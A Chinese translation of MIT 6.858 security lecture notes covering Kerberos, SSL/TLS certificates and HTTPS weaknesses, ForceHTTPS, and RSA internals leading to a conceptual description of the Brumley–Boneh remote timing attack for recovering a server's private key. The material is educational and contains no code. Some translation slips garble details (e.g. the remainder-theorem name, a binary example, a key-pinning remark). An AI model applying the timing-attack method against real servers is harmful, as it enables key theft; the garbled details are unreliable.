    • 然后使用 TGS 获取服务器主体的票据。

    • 如果用户伪造了 Kerberos 服务器,第二个票据将不匹配。

在应用程序中使用 Kerberos。

  • 论文建议使用特殊函数封装消息,有 3 个安全级别。

  • 对应用程序需要适度更改。

    • 对于灵活性、性能很好。

    • 不利于采用。

    • 开发人员很难理解微妙的安全保证。

  • 或许更好的抽象:安全通道(SSL/TLS)。

更改密码服务(管理界面)

  • Kerberos 协议如何确保客户端知道密码?为什么?

    • 票证中的特殊标志指示使用哪个接口获取它。

    • 更改密码服务仅接受使用K_c获得的票证。

    • 确保客户端知道旧密码,不仅仅是拥有票证。

  • 客户端如何更改用户的密码?

    • 连接到更改密码服务,将新密码发送到服务器。

复制

  • 一个主服务器(支持密码更改),零个或多个从服务器。

  • 所有服务器都可以发出票证,只有主服务器可以更改密钥。

  • 为什么要这样分割?

    • 只有一个主服务器确保一致性:不能有冲突的更改。
  • 主服务器定期更新从服务器(在撰写本文时,大约每小时一次)。

    • 更近期的实现具有增量传播:较低的延迟(但不是 0)。
  • 这个有多可扩展?

    • 对称加密(DES,AES)很快--在当前硬件上为 O(100MB / sec)。

    • 票证很小,O(100 字节),因此可以支持每秒 1M 张票证。

    • 通过添加从服务器轻松扩展。

  • 潜在问题:密码更改需要一段时间才能传播。

  • 对手在用户更改密码后仍然可以一段时间使用窃取的密码。

  • 要了解如何正确进行复制,请参加 6.824。

Kerberos 数据库的安全性

  • 主服务器和从服务器在这种设计中非常敏感。

  • 受损的主/从服务器意味着所有密码/密钥都必须更改。

  • 必须物理安全,Kerberos 服务器软件中没有错误,在服务器机器上的任何其他网络服务中也没有错误等。

  • 我们能做得更好吗?SSL CA 基础设施略好一些,但并不多。

    • 当我们谈论浏览器安全/HTTPS 时,将更详细地研究它。
  • 大多数集中式身份验证系统都遭受这些问题。..并且全球唯一的自由形式名称需要一些受信任的映射机构。

为什么 Kerberos 没有使用公钥加密?

  • 当时太慢了:VAX 系统,10MHz 时钟。

  • 政府出口限制。

  • 专利。

网络攻击。

  • Kerberos 服务器上的离线密码猜测攻击。

    • Kerberos v5 防止客户端请求任何主体的票证。

    • 必须在请求中包含{ timestamp }_{K_c},证明知道 K_c。

    • 当时仍然容易受到网络嗅探器的密码猜测攻击。

    • 有更好的替代方案:SRP,PAKE。

  • 对手可以使用窃取的票证做什么?

  • 对手可以使用窃取的K_c做什么?

  • 对手可以使用窃取的K_s做什么?

    • 记住:在 Kerberos 中,两方共享每个密钥(并依赖于它)!
  • 如果K_c被泄露后密码更改后会发生什么?

    • 可以解密所有后续交换,从初始票证开始

    • 甚至可以解密密码更改请求,获取新密码!

  • 如果对手稍后弄清您的旧密码怎么办?

    • 如果对手保存了旧数据包,可以解密所有内容。

    • 可以类似地获取当前密码。

前向保密(避免密码更改问题)。

  • 抽象问题:在两方之间建立共享秘密。

  • Kerberos 方法:某人选择秘密,加密并发送。

  • 弱点:如果加密密钥被窃取,可以稍后获取秘密。

  • Diffie-Hellman 密钥交换协议:

    • 两方选择自己的秘密部分。

    • 互发消息。

    • 消息不必保密,只需经过身份验证(无篡改)。

    • 两方使用彼此的消息重建共享密钥。

    • 对手无法通过观察网络消息重建密钥。

  • Diffie-Hellman 的细节:

    • 素数 p,生成器 g mod p。

    • Alice 和 Bob 各自选择一个随机的、秘密的指数(a 和 b)。

    • Alice 和 Bob 向彼此发送(g^a mod p)和(g^b mod p)。

    • 每个参与方计算(g^(ab) mod p)=(gab mod p)=(gba mod p)。

    • 使用(g^(ab) mod p)作为秘密密钥。

    • 假设离散对数(从(g^a mod p)中恢复 a)很困难。

Kerberos 中的跨域。

  • 领域之间共享密钥。

  • Kerberos v4 仅支持成对的跨域(无过境)。

Kerberos 不能解决什么问题?

  • 客户端、服务器或 KDC 机器可能会受到威胁。

  • 访问控制或组(由服务实现)。

  • 微软“扩展”了 Kerberos 以支持组。

    • 实际上用户的组列表包含在票据中。
  • 代理问题:Kerberos 中仍然没有很好的解决方案,但 ssh-agent 很好。

  • 工作站安全性(可以木马登录,并且实际上确实发生过)。

    • 基于智能卡的方法并没有起飞。

    • 谷歌身份验证器使用的两步验证(基于时间的 OTP)。

    • 共享桌面系统并不那么普遍:每个人都有自己的手机、笔记本电脑,..

后续步骤。

  • Kerberos v5 修复了 v4 中的许多问题(一些被提及),被广泛使用(MS AD)。

  • OpenID 是一个类似的协议,用于 Web 应用程序的身份验证。

    • 通过 HTTP 请求传递类似的消息。

SSL/TLS 和 HTTPS

注意:这些讲座笔记略有修改自 2014 年 6.858 课程网站上发布的笔记。

这节课涉及两个相关主题:

  • 如何在比 Kerberos 更大规模上加密保护网络通信?

    • 技术:证书
  • 如何将网络流量的加密保护整合到 Web 安全模型中?

    • HTTPS,安全 cookie 等。

对称与非对称加密

回顾:两种加密方案。

  • E是加密,D是解密

  • 对称密钥加密意味着相同密钥用于加密和解密

    • 密文 = E_k(明文)

    • 明文 = D_k(密文)

  • 非对称密钥(公钥)加密:加密和解密密钥不同

    • 密文 = E_PK(明文)

    • 明文 = D_SK(密文)

    • PKSK分别称为公钥和私钥(秘密密钥)

  • 公钥加密比对称加密慢几个数量级

  • 加密提供数据保密性,但我们通常也希望完整性

  • 消息认证码(MAC)使用对称密钥可以提供完整性。

    • 如果你对更多细节感兴趣,请查看HMAC
  • 可以使用公钥加密进行签名和验证,几乎相反:

    • 使用秘密密钥生成签名(计算D_SK

    • 使用公钥检查签名(计算E_PK

Kerberos

  • 中央 KDC 知道所有主体及其密钥。

  • A想要与B交流时,A要求 KDC 发放一张票。

  • 票据包含一个由 KDC 生成的AB通话的会话密钥。

为什么 Kerberos 不够?

  • 例如,为什么 Web 不基于 Kerberos?

  • 可能没有一个单一的 KDC 被信任生成会话密钥。

  • 不是每个人都可能在这个单一 KDC 上有帐户。

  • 如果用户每次访问网站都联系 KDC,KDC 可能无法扩展。

  • 不幸的是,KDC 知道每个用户连接到哪个服务。

    • 这些限制在对称加密中很大程度上是不可避免的。

备选方案:使用公钥加密

  • 假设A知道B的公钥。

  • 不想一直使用公钥加密(速度慢)。

  • 用于在AB之间建立安全连接的草案协议:

    • A生成一个随机对称会话密钥S

    • APK_B加密S,发送给B

    • 现在我们有AB之间共享的秘密密钥S,可以加密和

    • 使用对称加密验证消息,类似于 Kerberos。

这个草案协议的好处:

  • A的数据只被B看到。

    • 只有B(具有SK_B)才能解密S

    • 只有B才能解密使用S加密的数据。

  • 不需要类似 KDC 的中央机构来分发会话密钥。

这个草案有什么问题?

  • 对手可以记录并稍后重放A的流量;B不会注意到。

    • 解决方案:让B发送一个随机值(nonce)。

    • 将 nonce 合并到最终主密钥S' = f(S, nonce)中。

    • 通常,S被称为预主密钥S'被称为主密钥

    • 建立S'的过程称为“握手”。

  • 对手可以冒充A,发送另一个对B的对称密钥。

    • 如果B在乎A是谁,有许多可能的解决方案。

    • 例如,B还选择并使用PK_A加密的对A发送对称密钥。

    • 然后AB都使用两个密钥组合的哈希。

    • 这大致是 TLS 客户端证书的工作原理。

  • 对手稍后可以获取SK_B,解密对称密钥和所有消息。

    • 解决方案:使用类似 Diffie-Hellman 的密钥交换协议,

    • 提供前向保密,如上次讲座中讨论的。

难题: 如果两台计算机都不知道对方的公钥怎么办?

  • 常见方法:使用可信第三方生成证书。

  • 证书是元组(名称,公钥),由证书颁发机构签名。

  • 含义:证书颁发机构声称名称的公钥是公钥。

  • B除了发送证书外,还向A发送一个公钥。

  • 如果A信任证书颁发机构,继续如上操作。

为什么证书可能比 Kerberos 更好?

  • 客户端每次连接到新服务器时无需与 KDC 通信。

  • 服务器可以向客户端呈现证书;客户端可以验证签名。

  • KDC 不参与生成会话密钥。

  • 可以支持没有长期密钥/证书的“匿名”客户端。

保护 Web 浏览器的计划:HTTPS

  • 新协议:https 而不是 http(例如,www.paypal.com/)。

  • 需要保护几样东西:

    • (A) 数据在网络上传输。

    • (B) 用户浏览器中的代码/数据。

    • (C) 用户看到的 UI。

  • (A) 如何确保数据在网络上不被窃听或篡改?

    • 使用 TLS(一种使用证书的加密协议)。

    • TLS 加密和认证网络流量。

    • 协商密码(和其他功能:压缩,扩展)。

    • 协商是明文进行的。

    • 包括对所有握手消息进行 MAC 认证。

  • (B) 如何保护用户浏览器中的数据和代码?

    • 目标: 将浏览器安全机制与 TLS 提供的内容连接起来。

    • 记住浏览器有两个主要的安全机制:

    • 同源策略。

    • Cookie 策略(略有不同)。

    • 与 HTTPS/TLS 的同源策略。

    • TLS 证书名称必须与 URL 中的主机名匹配。

      • 在我们的示例中,证书名称必须是 www.paypal.com。

      • 也允许一级通配符(*.paypal.com)。

      • 浏览器信任多个证书颁发机构。

    • 来源(来自同源策略)包括协议。

      • http://www.paypal.com/https://www.paypal.com/ 不同。

      • 在这里,我们关心数据的完整性(例如 JavaScript 代码)。

      • 结果: 非 HTTPS 页面无法篡改 HTTPS 页面。

      • 原因: 非 HTTPS 页面可能已被对手修改。

    • 使用 HTTPS/TLS 的 Cookie。

      • 服务器证书帮助客户端区分服务器。

      • Cookie(用户凭证的常见形式)有一个“安全”标志。

      • 安全的 Cookie 只能随 HTTPS 请求发送。

      • 非安全的 Cookie 可以随 HTTP 和 HTTPS 请求发送。

    • 如果对手篡改 DNS 记录会发生什么?

      • 好消息:安全性不依赖于 DNS。

      • 我们已经假设对手可以篡改网络数据包。

      • 错误的服务器将不知道与证书匹配的正确私钥。

  • (C) 最后,用户可以直接输入凭据。如何确保安全?

    • 浏览器中的锁图标告诉用户他们正在与 HTTPS 站点交互。

    • 浏览器应该向用户指示站点证书中的名称。

    • 用户应验证他们打算提供凭据的站点名称。

这个计划怎么会出错?

  • 正如你所料,上述每一步都可能出错。

  • 不是详尽的列表,但涉及 ForceHTTPS 想要解决的问题。

1 (A) 密码学

SSL/TLS 的密码部分曾受到一些攻击。

  • Rizzo 和 Duong 的攻击可以让对手通过在单个连接上发出许多精心选择的请求来学习一些明文。参考

  • 同一人使用压缩进行最近的攻击,在 iSEC 讲座中提到。参考

  • 最近,更多的填充预言攻击。参考

  • 一些服务器/CA 使用弱加密,例如使用 MD5 的证书。

  • 一些客户端选择弱加密(例如,Android 上的 SSL/TLS)。参考

  • 但是,密码学很少是系统中最薄弱的部分。

2 (B) 服务器认证

对手可能能够为他人的名字获得证书。

  • 以前需要在公司抬头纸上传真请求(但如何检查?)

  • 现在通常需要在 root@domain.com 或类似位置接收秘密令牌

  • 安全性取决于最不安全证书颁发机构的政策

  • 大多数浏览器中有数百个受信任的证书颁发机构

  • 2011 年发生了几起 CA 被破坏的事件(gmail、facebook 等的证书)。参考

  • 服务器可能被入侵,相应的私钥被盗。

如何处理受损的证书(例如,无效证书或被盗私钥)?

  • 证书有到期日期。

  • 每次请求都要与 CA 检查证书状态很难扩展。

  • 一些 CA 发布的证书吊销列表(CRL),但其中的证书相对较少

    • 其中一些(抽查:大多数没有被吊销的证书)。
  • 客户端必须定期下载 CRL。

    • 如果许多证书被吊销,可能会很慢。

    • 如果很少或零个证书被吊销,则不是问题,但并不太有用。

  • OCSP:在线证书状态协议。

    • 查询证书是否有效。

    • 一个问题:OCSP 协议不要求签署“稍后再试”消息。参考

  • 用于猜测证书是否正常的各种启发式方法。

    • CertPatrol,EFF 的 SSL Observatory 等。

    • 不像“证书是否更改那么容易”。网站有时会测试新的 CA。

  • 问题:在线吊销检查是软失败。

  • 实际上,浏览器在重大违规事件后会推送黑名单更新。[ 参考:https://www.imperialviolet.org/2012/02/05/crlsets.html ]

用户忽略证书不匹配错误。

  • 尽管证书很容易获得,但许多网站配置错误。

  • 有些人不想处理获得证书的(非零)成本。

  • 其他人忘记更新它们(证书有到期日期)。

  • 最终结果:浏览器允许用户覆盖不匹配的证书。

    • 问题在于:人现在成为决定证书是否有效的过程的一部分。

    • 开发人员很难确切知道浏览器将接受哪些证书。

  • 根据经验,Chrome 显示的约 60% 的绕过按钮被点击通过。(尽管这些数据可能已经过时..)

用户接受无效证书的风险是什么?

  • 可能是良性的(过期证书,服务器操作员忘记续订)。

  • 可能是中间人攻击,连接到对手的服务器。

  • 为什么这是不好的?

    • 用户的浏览器将用户的 cookie 发送给对手。

    • 用户可能会将敏感数据输入对手的网站。

    • 用户可能会认为页面上的数据来自正确的网站。

3 (B) 混合 HTTP 和 HTTPS 内容

  • 网页的来源由页面本身的 URL 确定。

  • 页面可以有许多嵌入元素:

    • Javascript 通过 <SCRIPT> 标签

    • CSS 样式表通过 <STYLE> 标签

    • Flash 代码通过 <EMBED> 标签

    • 图像通过 <IMG> 标签

  • 如果对手能够篡改这些元素,可能控制页面。

    • 特别是,Javascript 和 Flash 代码可以控制页面。

    • CSS:控制较少,但仍然可滥用,尤其是使用复杂的属性选择器。

  • 开发人员可能不会包含来自攻击者网站的 Javascript。

  • 但是,如果 URL 不是 HTTPS,对手可以篡改 HTTP 响应。

  • 另一种方法:明确验证嵌入元素。

  • 例如,可以包含正在加载的 Javascript 代码的哈希值。

    • 防止对手篡改响应。

    • 不需要完整的 HTTPS。

  • 可能会在不久的将来在浏览器中部署。参考

  • Web 应用程序开发人员可能会犯错误,忘记了 Secure 标志。

  • 用户访问 http://bank.com/ 而不是 https://bank.com/,泄漏 cookie。

  • 假设用户只访问 https://bank.com/。

    • 为什么这仍然是一个问题?

      • 对手可以导致另一个 HTTP 网站重定向到 http://bank.com/。

      • 即使用户从未访问任何 HTTP 网站,应用程序代码可能存在错误。

    • 一些网站通过 HTTPS 提供登录表单,并通过 HTTP 提供其他内容。

    • 在同时使用 HTTP 和 HTTPS 时要小心。

      • 例如,Google 的登录服务在请求时创建新的 cookie。

      • 登录服务有自己的(安全的)cookie。

      • 可以通过加载登录的 HTTPS URL 请求登录到 Google 网站。

      • 以前还可以通过不安全的 cookie 登录。

      • ForceHTTPS 通过将 HTTP URL 重定向到 HTTPS 来解决问题。参考

  • cookie 完整性问题。

5(C) 用户直接输入凭据

  • 钓鱼攻击。

  • 用户不检查锁图标。

  • 用户不仔细检查域名,不知道要查找什么。

    • 例如,拼写错误的域名(paypa1.com),unicode
  • Web 开发人员将登录表单放在 HTTP 页面上(目标登录脚本是 HTTPS)。

    • 对手可以修改登录表单以指向另一个 URL。

    • 登录表单没有受到篡改的保护,用户无法辨别。

ForceHTTPS

ForceHTTPS(本文)如何解决这些问题?

  • 服务器可以在用户的浏览器中为自己的主机名设置标志。

    • 将 SSL/TLS 证书配置错误变成致命错误。

    • 将 HTTP 请求重定向到 HTTPS。

    • 禁止非 HTTPS 嵌入(+ 为它们执行 ForceHTTPS)。

ForceHTTPS 解决了哪些问题?

  • 主要是 2、3,某种程度上是 4(见上面的列表)

    • 用户接受无效证书。

    • 开发人员错误:嵌入不安全的内容。

    • 开发人员错误:忘记将 cookie 标记为 Secure。

    • 对手通过 HTTP 注入 cookie。

  • 用户仍然可以点击错误,因此对于#2 仍然有帮助。

  • 对于#3 来说并不是必要的,假设 Web 开发人员永远不会犯错误。

  • 对于#4 仍然有帮助。

为什么不为所有人打开 ForceHTTPS?

  • HTTPS 站点可能不存在。

  • 如果是这样,可能不是同一个站点(https://web.mit.edu

  • HTTPS 页面可能期望用户点击通过(自签名证书)。

实施 ForceHTTPS

  • ForceHTTPS 位存储在 cookie 中。

  • 有趣的问题:

    • 状态耗尽(ForceHTTPS cookie 被驱逐)。

    • 拒绝服务(强制整个域;通过 JS 强制;通过 HTTP 强制)。

      • 为什么 ForceHTTPS 只允许特定主机,而不是整个域?

      • 为什么 ForceHTTPS 要求通过标头设置 cookie,而不是通过 JS?

      • 为什么 ForceHTTPS 要求通过 HTTPS 设置 cookie,而不是 HTTP?

    • 引导(如何获取 ForceHTTPS 位;如何避免隐私泄漏)。

      • 可能的解决方案 1:DNSSEC。

      • 可能的解决方案 2:在 URL 名称中嵌入 ForceHTTPS 位(如果可能)。

      • 如果有一种方法可以从服务器所有者那里获取一些经过身份验证的位(DNSSEC、URL 名称等),我们是否应该直接获取公钥?

      • 困难:用户网络不可靠。浏览器不愿意在侧通道请求上阻止握手。

ForceHTTPS 的当前状态

在这个领域的另一个最近的实验:HTTPS-Everywhere。

  • 专注于 ForceHTTPS 的“高级用户”方面。

  • 允许用户强制某些域名使用 HTTPS。

  • Tor 和 EFF 之间的合作。

  • 适用于 Firefox 和 Chrome 的附加组件。

  • 附带用于重写流行网站 URL 的规则。

SSL/TLS 中解决问题的其他方法

  • 更好的工具/更好的开发人员以避免编程错误。

    • 将所有敏感 cookie 标记为 Secure(#4)。

    • 避免任何不安全的嵌入(#3)。

    • 不幸的是,似乎容易出错。

    • 不帮助最终用户(需要开发者参与)。

  • EV 证书。

    • 尝试解决问题 5:用户不知道在证书中寻找什么。

    • 除了 URL,还嵌入公司名称(例如,“PayPal, Inc.”)

    • 通常显示为 URL 栏旁边的绿色框。

    • 为什么这样更安全?

    • 什么情况下实际上会提高安全性?

    • 如果用户开始期望 EV 证书,可能间接有助于解决问题 2。

  • 黑名单弱加密。

    • 浏览器开始拒绝证书上的 MD5 签名(iOS 5,Chrome 18,Firefox 16)

    • 以及 Chrome 18、OS X 10.7.4、Windows XP+最近更新后的 RSA 密钥< 1024位。

    • 甚至被 Chrome 淘汰的 SHA-1。参考:逐步淘汰 SHA1

  • OCSP 装订。

    • OCSP 响应由 CA 签名。

    • 服务器在握手中发送 OCSP 响应,而不是在线查询(#2)。

    • 实际上是一个短暂的证书。

    • 问题:

      • 尚未广泛部署。

      • 只能装订一个 OCSP 响应。

  • 密钥固定。

    • 仅接受由每个站点白名单的 CA 签名的证书。

    • 消除对最不安全 CA 的依赖(#2)。

    • 目前在 Chrome 中有一个硬编码的站点列表。

    • 2011 年 Diginotar 妥协是因为密钥固定。

    • 计划添加站点广告固定的机制。

    • 与 ForceHTTPS 中的引导困难相同。

其他参考资料

RSA 的侧信道攻击

注意: 这些讲义略有修改自 6.858 课程网站 上发布的讲义,时间为 2014 年。

侧信道攻击

  • 历史上,担心电磁信号泄露。NSA TEMPEST

  • 广泛地,系统可能需要担心许多意外的方式

  • 信息可能会被泄露。

示例设置: 服务器(例如,Apache)有一个 RSA 私钥。

  • 服务器使用 RSA 私钥(例如,解密来自客户端的消息)。

  • 服务器的计算信息泄露给客户端。

已经研究了许多信息泄漏:

  • 解密需要多长时间。

  • 解密如何影响共享资源(缓存、TLB、分支预测器)。

  • CPU 本身的辐射(射频、音频、功耗等)。

侧信道攻击不一定与加密相关。

  • 例如,操作时间与密码中哪个字符不正确有关。

  • 或时间与你和某个用户在 Facebook 上有多少共同好友有关。

  • 或加载页面在浏览器中需要多长时间(取决于是否被缓存)。

  • 或基于点阵打印机的声音恢复打印文本。参考

  • 但对密码或密钥的攻击通常是最具破坏性的。

对手可以分析信息泄漏,用它来重建私钥。

  • 目前,本文描述的系统上的侧信道攻击是罕见的。

    • 例如,Apache web 服务器运行在某个连接到互联网的机器上。

    • 通常存在其他一些漏洞,更容易利用。

    • 慢慢地成为一个更大的关注点:新的侧信道(虚拟机)、更好的攻击。

  • 侧信道攻击更常用于攻击受信任/嵌入式硬件。

    • 例如,芯片在智能卡上运行加密操作。

    • 通常这些具有较小的攻击面,没有太多其他方式可以进入。

    • 如论文所述,一些密码协处理器设计用于避免此类攻击。

"远程时间攻击是实际的" 论文的贡献是什么?参考

  • 时间攻击已知已久。

  • 本文:可能通过网络攻击标准的 Apache web 服务器。

  • 使用了许多关于时间攻击的先前工作的观察/技术。

  • 要理解这是如何工作的,首先让我们看一些 RSA 的内部..

RSA:高级计划

  • 选择两个随机素数,pq

    • n = p*q
  • 今天一个合理的密钥长度,即 |n||d|,是 2048 位。

  • 欧拉函数 phi(n):与 n 互质的 Z_n^* 元素的数量。

    • 定理 [此处无证明]:a^(phi(n)) = 1 mod n,对所有的 an
  • 那么,如何加密和解密?

    • 选择两个指数 de,使得 m^(e*d) = m (mod n),这

      • 意味着 e*d = 1 mod phi(n)
    • 加密将是 c = m^e (mod n);解密将是 m = c^d (mod n)

  • 如何获得这样的 ed

    • 对于 n=pqphi(n) = (p-1)(q-1)

    • 如果我们知道phi(n),很容易计算d=1/e扩展欧几里得算法

    • 在实践中,选择小的e(例如,65537),使加密更快。

  • 公钥是(n, e)

  • 私钥原则上是(n, d)

    • 注意:pq必须保密!

    • 否则,对手可以像我们上面做的那样从e计算d

    • 知道pq对快速解密也很有帮助。

    • 因此,在实践中,私钥也包括(p, q)

RSA 在“安全”使用上有些棘手--如果直接使用 RSA,请小心!

  • 密文是可乘的。

    • E(a)*E(b) = a^e * b^e = (ab)^e

    • 可以让对手操纵加密,生成新的加密。

  • RSA 是确定性的。

    • 加密相同的明文每次都会生成相同的密文。

    • 对手可以知道何时重新加密相同的内容。

  • 通常通过在加密前对消息进行“填充”来解决。OAEP

    • 取明文消息位,加上明文前后的填充位。

    • 加密组合位(总位数必须小于|n|位)。

    • 填充包括随机性,以及固定位模式。

    • 有助于检测篡改(例如,密文乘法)。

如何实现 RSA?

  • 关键问题:快速模指数运算。

    • 一般来说,是二次复杂度。
  • 两个 1024 位数相乘很慢。

  • 计算 1024 位数的模很慢(1024 位除法)。

优化 1:赛里斯剩余定理(CRT)。

  • 回想一下 CRT 的原理:

    • 如果x==a1 (mod p)x==a2 (mod q),其中pq是互质的,

    • 那么就有一个唯一解x==a (mod pq)

      • 并且,有一种高效的算法来计算a
  • 假设我们想要计算m = c^d (mod pq)

  • 可以计算m1 = c^d (mod p),以及m2 = c^d (mod q)

  • 然后使用 CRT 从m1m2计算m = c^d (mod n);这是唯一且快速的。

  • 计算m1(或m2)比直接计算m快约 4 倍(~二次)。

  • 使用 CRT 从m1m2计算m的速度与忽略不计。

  • 因此,大约加速 2 倍。

优化 2:重复平方和滑动窗口。

  • 计算c^d的朴素方法:将c乘以自身,d次。

  • 更好的方法,称为重复平方:

    • c^(2x) = (c^x)²

    • c^(2x+1) = (c^x)² * c

    • 要计算c^d,首先计算c^(floor(d/2)),然后使用上述方法计算c^d

    • 递归应用,直到计算到c⁰ = 1

    • 平方次数:|d|(表示d所需的位数)。

    • 乘法次数:d中的 1 位数。

  • 更好的方法(有时),称为滑动窗口

    • c^(2x) = (c^x)²

    • c^(32x+1) = (c^x)³² * c

    • c^(32x+3) = (c^x)³² * c³

    • ...

    • c^(32x+z) = (c^x)³² * c^z,通常情况下(其中z<=31)。

    • 可以预先计算所有必要的c^z幂的表,存储在内存中。

    • 选择 2 的幂常数(例如,32)取决于使用情况。

      • 成本:额外内存,额外时间来预先计算幂。
    • 注意:仅预先计算c的奇数次幂(对于偶数使用第一条规则)。

    • OpenSSL 使用 32(具有 16 个预先计算的条目的表)。

优化 3:蒙哥马利表示。

  • 每次(平方或乘法后)都进行mod p减少是昂贵的。

    • 典型实现:进行长除法,找到余数。

    • 难以避免减少:否则,值会呈指数增长。

  • 理念(由彼得·蒙哥马利提出):在另一种表示中进行计算。

    • 将基数(例如c)提前转换为不同的表示。

    • 在这种表示中执行模运算(会更便宜)。

    • 完成后将数字移回原始表示。

    • 理想情况下,减少的节省应超过移位的成本。

  • 蒙哥马利表示:将所有内容乘以某个因子 R。

    • a mod q <-> aR mod q

    • b mod q <-> bR mod q

    • c = a*b mod q <-> cR mod q = (aR * bR)/R mod q

    • 每个在蒙哥马利空间中的乘法(或平方)需要除以R

  • 蒙哥马利表示中模乘法为何更便宜?

    • 选择R使得除以R更容易:R = 2^|q|(1024 位密钥为2⁵¹²)。

    • 因为我们除以R,通常不需要进行mod q

      • |aR| = |q|

      • |bR| = |q|

      • |aR * bR| = 2|q|

      • |aR * bR / R| = |q|

    • 如何便宜地除以R

      • 仅当低位为零时才有效。
    • 观察: 因为我们关心值mod q,所以q的倍数并不重要。

    • 技巧: 向被除以R的数字添加q的倍数,使低位为 0。

      • 例如,假设R=2⁴ (10000)q=7 (111),将x=26 (11010)除以 R。

      • x+2q = (二进制) * 101000

      • x+2q+8q = (二进制) 1100000

      • 现在,可以轻松地除以R:结果是二进制 110(或 6)。

      • 通常,总是可能的:

      • q的最低位为 1(q是质数),因此可以"击倒"任何位。

      • 要"击倒"比特k,添加2^k * q

      • 要击倒低位l,添加q*(l*(-q^-1) mod R)

      • 然后,除以R意味着简单地丢弃低零位。

  • 一个仍未解决的问题: 结果将会< R,但可能会> q

    • 如果结果恰好大于q,需要减去q

    • 这被称为"额外减少"。

    • 计算x^d mod q时,Pr[额外减少] = (x mod q) / 2R

      • 这里,假设x已经处于蒙哥马利形式。

      • 直觉: 随着我们乘以更大的数字,将更频繁地溢出。

优化 4:高效乘法。

  • 如何将 512 位数字相乘?

  • 表示:将其分解为 32 位值(或任何硬件支持的值)。

  • Naive 方法:逐对乘以所有 32 位组件。

    • 就像你在纸上逐位相乘数字一样。

    • 如果两个数字分别具有nm个组件,则需要O(nm)时间。

    • 如果两个数字接近,则为O(n²)

  • 卡拉兹巴乘法: 假设两个数字具有相同数量的组件。

    • O(n^log_3(2)) = O(n¹.585)时间。

    • 将两个数字(xy)分成两个组件(x1x0y1y0)。

      • x = x1 * B + x0

      • y = y1 * B + y0

      • 例如,将 64 位数字分成 32 位组件时,B=2³²

    • Naive: x*y = x1y1 * B² + x0y1 * B + x1y0 * B + x0y0

      • 四次乘法:O(n²)
    • 更快:x*y = x1y1 * (B²+B) - (x1-x0)(y1-y0) * B + x0y0 * (B+1)

      • ... = x1y1 * B² + ( -(x1-x0)(y1-y0) + x1y1 + x0y0 ) * B + x0y0

      • 只需三次乘法,以及几次加法。

    • 递归应用此算法以继续分割为更多的一半。

      • 有时被称为 "递归乘法"。
    • 有意义地更快(没有隐藏的大常数)

      • 对于 1024 位密钥,"n" 这里是 16 (512/32)。

      • n² = 256

      • n¹.585 = 81

  • 乘法算法需要决定何时使用 Karatsuba 而不是 Naive。

    • 两种情况很重要:两个大数一个大数 + 一个小数

    • OpenSSL:如果组件数量相等,则使用 Karatsuba,否则使用 Naive。

    • 在一些中间情况下,Karatsuba 也可能胜出,但 OpenSSL 忽略了它,

      • 根据这篇论文。

SSL 如何使用 RSA?

  • 服务器的 SSL 证书包含公钥。

  • 服务器必须使用私钥来证明其身份。

  • 客户端使用服务器的公钥加密后向服务器发送随机位。

  • 服务器解密客户端的消息,使用这些位生成会话密钥。

    • 实际上,服务器还验证消息填充。

    • 然而,仍然可以测量直到服务器以某种方式响应的时间。

服务器上 解密流水线 的图示:

 * CRT             * To Montgomery             * Modular exp
        --> * c_0 = c mod q  --> * c'_0 = c_0*R mod q  --> * m'_0 = (c'_0)^d mod q
       /
      /                                            * Use sliding window for bits
     /                                               * of the exponent d

    c                                              * Karatsuba if c'_0 and q have
                                                     * same number of 32-bit parts
     \
      \                                            * Extra reductions proportional
       \                                             * to ((c'_0)^z mod q) / 2R;
        -->  ...                                     * z comes from sliding window 
  • 然后,计算 m_0 = m'_0/R mod q

  • 然后,使用 CRT 结合 m_0m_1 得到 m

  • 然后验证 m 中的填充。

  • 最后,以某种方式使用有效载荷(SSL 等)。

为 Brumley 论文中描述的攻击设置

  • 受害者 Apache HTTPS 网络服务器使用 OpenSSL,在内存中有私钥。

  • 连接到斯坦福校园网络。

  • 对手控制校园网络上的某些客户端机器。

  • 对手向服务器发送特制的消息中的密文。

    • 服务器解密密文,找到垃圾填充,返回错误。

    • 客户端测量响应时间以获取错误消息。

    • 利用响应时间猜测 q 的位。

  • 总体响应时间大约为 5 毫秒。

    • 请求之间的时间差大约为 10 微秒。
  • 什么导致时间变化?

    • Karatsuba 与 Naive

    • 额外的减少

  • 一旦猜测足够多的 q 位,就可以因式分解 n=p*q,从 e 计算 d

  • 大约 1M 次查询似乎足以获取 1024 位密钥的 512 位 pq

    • 只需猜测 pq 的前 256 位,然后使用另一种算法。

Brumley 论文中的攻击

  • 查看 远程定时攻击是可行的 论文,详细内容请参考末尾的 参考文献 部分。

  • q = q_0 q_1 .. q_N,其中 N = |q|(比如,对于 1024 位密钥,假设为 512 位)。

  • 假设我们知道 q 的高阶位 j 个数字(从 q_0q_j)。

  • 构造两个近似值的 q,猜测 q_{j+1} 是 0 或 1:

    • g = q_0 q_1 .. q_j 0 0 0 .. 0

    • g_hi = q_0 q_1 .. q_j 1 0 0 .. 0

  • 让服务器执行模幂运算 (g^d) 来猜测。

    • 我们知道 g 必然小于 q

    • 如果 gg_hi 都小于 q,花费的时间不应该有太大变化。

    • 如果 g_hi 大于 q,花费的时间可能会明显变化。

      • g_hi mod q 很小。

      • 较少时间:Montgomery 中减少额外的减少。

      • 更多时间:从卡拉茨巴切换到普通乘法。

    • 知道所花费的时间可以告诉我们 0 还是 1 是正确的猜测。

  • 如何让服务器对我们的猜测执行模指数运算?

    • 将我们的猜测发送给服务器,就好像它是随机性的加密。

    • 一个问题:服务器将把我们的消息转换为蒙哥马利形式。

    • 由于蒙哥马利的R是已知的,将(g/R mod n)作为消息发送给服务器。

  • 如何确定时间差应该是正数还是负数?

    • 论文似乎暗示这并不重要:只需寻找大的差异。

    • 图 3a 显示了每个比特猜测的测量时间差异。

    • 卡拉茨巴与普通乘法发生在 32 位边界处。

    • 前 32 位:额外的约简占主导地位。

    • 接下来的位:卡拉茨巴与普通乘法的支配。

    • 在某个时刻,额外的约简再次占主导地位。

  • 如果两种效应的时间差抵消会发生什么?

    • 图 3,关键 3。

    • 更大的邻域会稍微改变平衡,揭示非零间隙。

  • 论文如何获得准确的测量结果?

    • 客户机使用处理器的时间戳计数器(在 x86 上为rdtsc)。

    • 进行多次测量,取中位数值。

      • 不清楚为什么要中位数;最小值似乎才是真正的计算时间。
    • 一个问题:由于滑动窗口,对g的乘法相对较少。

    • 解决方案:通过获取与g接近的值进行更多的乘法运算(对g_hi同样适用)。

    • 具体来说,探测g的“邻域”(g, g+1, .., g+400)。

  • 为什么要探测g的 400 个值的邻域,而不是测量g 400 次?

    • 考虑我们试图处理的噪音类型。

